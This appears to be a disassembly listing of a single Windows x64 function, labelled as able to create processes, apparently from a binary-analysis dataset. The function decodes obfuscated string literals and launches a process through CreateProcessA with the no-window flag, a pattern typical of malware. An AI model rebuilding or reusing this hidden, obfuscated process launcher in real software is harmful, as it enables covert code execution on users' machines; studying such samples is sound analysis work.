Function at 0x14000f530
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x150
mov rax, qword [0x1400cd090]
xor rax, rsp
mov qword [rsp + 0x148], rax
mov rsi, rcx
mov qword [r11 - 0xe8], rcx
xor r14d, r14d
mov qword [r11 - 0xa0], r14
mov qword [r11 - 0x90], r14
mov qword [r11 - 0x88], r14
lea r8d, [r14 + 4]
lea rdx, str.__c
lea rcx, [r11 - 0xa0]
call fcn.140002750
nop
mov rax, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 8
jb 0x14000f5aa
mov rcx, qword [rsi]
lea r8, [rcx + rax*2]
mov rdx, rcx
jmp 0x14000f5b1
lea r8, [rsi + rax*2]
mov rdx, rsi
lea rcx, [rsp + 0xe8]
call fcn.140009150
nop
lea r9, [rsp + 0xe8]
cmp qword [rsp + 0x100], 0x10
cmovae r9, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0xe0]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14000f634
lea rax, [rdi + rcx]
mov qword [rsp + 0xd8], rax
lea rbx, [rsp + 0xc8]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0xc8]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call fcn.14006d010
mov byte [rbx + rdi], 0
jmp 0x14000f64c
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0xc8]
call fcn.140002850
mov qword [rsp + 0xa8], r14
mov qword [rsp + 0xb8], r14
mov qword [rsp + 0xc0], r14
mov r8d, 0x19
lea rdx, str.gGohp7WQTKu0nDaIFwS_7bPry
lea rcx, [rsp + 0xa8]
call fcn.140002750
nop
mov rcx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xc0]
cmp rcx, rdx
jae 0x14000f6bd
lea rax, [rcx + 1]
mov qword [rsp + 0xb8], rax
lea rax, [rsp + 0xa8]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0xa8]
mov word [rax + rcx], 0x52
jmp 0x14000f6d4
mov r9b, 0x52
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0xa8]
call fcn.1400025e0
mov rcx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xc0]
mov rax, rdx
sub rax, rcx
cmp rax, 0x12
jb 0x14000f72f
lea rax, [rcx + 0x12]
mov qword [rsp + 0xb8], rax
lea rbx, [rsp + 0xa8]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0xa8]
add rbx, rcx
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.3XFlijiFZKyfIDlg
mov rcx, rbx
call fcn.14006d010
mov byte [rbx + 0x12], 0
jmp 0x14000f753
mov qword [rsp + 0x20], reloc.WS2_32.dll_select
lea r9, str.3XFlijiFZKyfIDlg
xor r8d, r8d
lea edx, [r8 + 0x12]
lea rcx, [rsp + 0xa8]
call fcn.140002850
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x108]
call fcn.140001d40
nop
lea rdx, [rsp + 0x108]
lea rcx, [rsp + 0x60]
call fcn.1400064a0
lea rdx, [rsp + 0x108]
cmp qword [rsp + 0x120], 0x10
cmovae rdx, qword [rsp + 0x108]
mov rdi, 0xffffffffffffffff
mov rcx, rdi
nop
inc rcx
cmp byte [rdx + rcx], 0
jne 0x14000f7a0
shr rcx, 3
mov r9d, ecx
mov rdx, rax
lea rcx, [rsp + 0x128]
call fcn.140001800
nop
lea r9, [rsp + 0x128]
cmp qword [rsp + 0x140], 0x10
cmovae r9, qword [rsp + 0x128]
lea r15, [rsp + 0xc8]
cmp qword [rsp + 0xe0], 0x10
cmovae r15, qword [rsp + 0xc8]
mov qword [rsp + 0x88], r14
mov qword [rsp + 0x98], r14
mov qword [rsp + 0xa0], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x88], 0
mov rbx, rdi
nop dword [rax]
inc rbx
cmp byte [r9 + rbx], 0
jne 0x14000f820
lea rcx, [rsp + 0x88]
cmp rbx, 0xf
ja 0x14000f855
mov qword [rsp + 0x98], rbx
mov r8, rbx
mov rdx, r9
call fcn.14006d010
mov byte [rsp + rbx + 0x88], 0
jmp 0x14000f865
mov qword [rsp + 0x20], rbx
xor r8d, r8d
mov rdx, rbx
call fcn.140002850
inc rdi
cmp byte [r15 + rdi], 0
jne 0x14000f865
mov rcx, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14000f8c2
lea rax, [rcx + rdi]
mov qword [rsp + 0x98], rax
lea rbx, [rsp + 0x88]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x88]
add rbx, rcx
mov r8, rdi
mov rdx, r15
mov rcx, rbx
call fcn.14006d010
mov byte [rbx + rdi], 0
jmp 0x14000f8dd
mov qword [rsp + 0x20], rdi
mov r9, r15
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0x88]
call fcn.140002850
lea rdx, [rsp + 0x88]
cmp qword [rsp + 0xa0], 0x10
cmovae rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x98]
lea rcx, [0x1400ce880]
call fcn.14000a690
lea rdx, [rsp + 0x88]
cmp qword [rsp + 0xa0], 0x10
cmovae rdx, qword [rsp + 0x88]
lea rax, [0x1400d0280]
mov qword [rsp + 0x48], rax
lea rax, [0x1400cdd50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
nop
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0x10
jb 0x14000f9a9
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f9a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fc06
call fcn.140016fe8
mov qword [rsp + 0x98], r14
mov qword [rsp + 0xa0], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x88], 0
mov rdx, qword [rsp + 0x140]
cmp rdx, 0x10
jb 0x14000fa08
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fa03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fc0c
call fcn.140016fe8
movdqa xmm0, xmmword [0x1400c1300]
movdqu xmmword [rsp + 0x138], xmm0
mov byte [rsp + 0x128], 0
mov rdx, qword [rsp + 0x120]
cmp rdx, 0x10
jb 0x14000fa64
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fa5f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fc12
call fcn.140016fe8
movdqa xmm0, xmmword [0x1400c1300]
movdqu xmmword [rsp + 0x118], xmm0
mov byte [rsp + 0x108], 0
mov rdx, qword [rsp + 0xc0]
cmp rdx, 0x10
jb 0x14000fac0
inc rdx
mov rcx, qword [rsp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fabb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fc18
call fcn.140016fe8
mov qword [rsp + 0xb8], r14
mov qword [rsp + 0xc0], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0xa8], 0
mov rdx, qword [rsp + 0x100]
cmp rdx, 0x10
jb 0x14000fb1f
inc rdx
mov rcx, qword [rsp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fb1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fc1e
call fcn.140016fe8
mov qword [rsp + 0xf8], r14
mov qword [rsp + 0x100], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0xe8], 0
mov rdx, qword [rsp + 0xe0]
cmp rdx, 0x10
jb 0x14000fb7f
inc rdx
mov rcx, qword [rsp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fb79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fc24
call fcn.140016fe8
nop
jmp 0x14000fb8c
mov rdx, qword [rsi + 0x18]
cmp rdx, 8
jb 0x14000fbc7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14000fbc2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000fc00
mov rcx, r8
call fcn.140016fe8
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], 7
mov word [rsi], r14w
mov rcx, qword [rsp + 0x148]
xor rcx, rsp
call fcn.140016aa0
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
call fcn.140071b2c
nop
call fcn.140071b2c
nop
call fcn.140071b2c
nop
call fcn.140071b2c
nop
call fcn.140071b2c
nop
call fcn.140071b2c
nop
call fcn.140071b2c
int3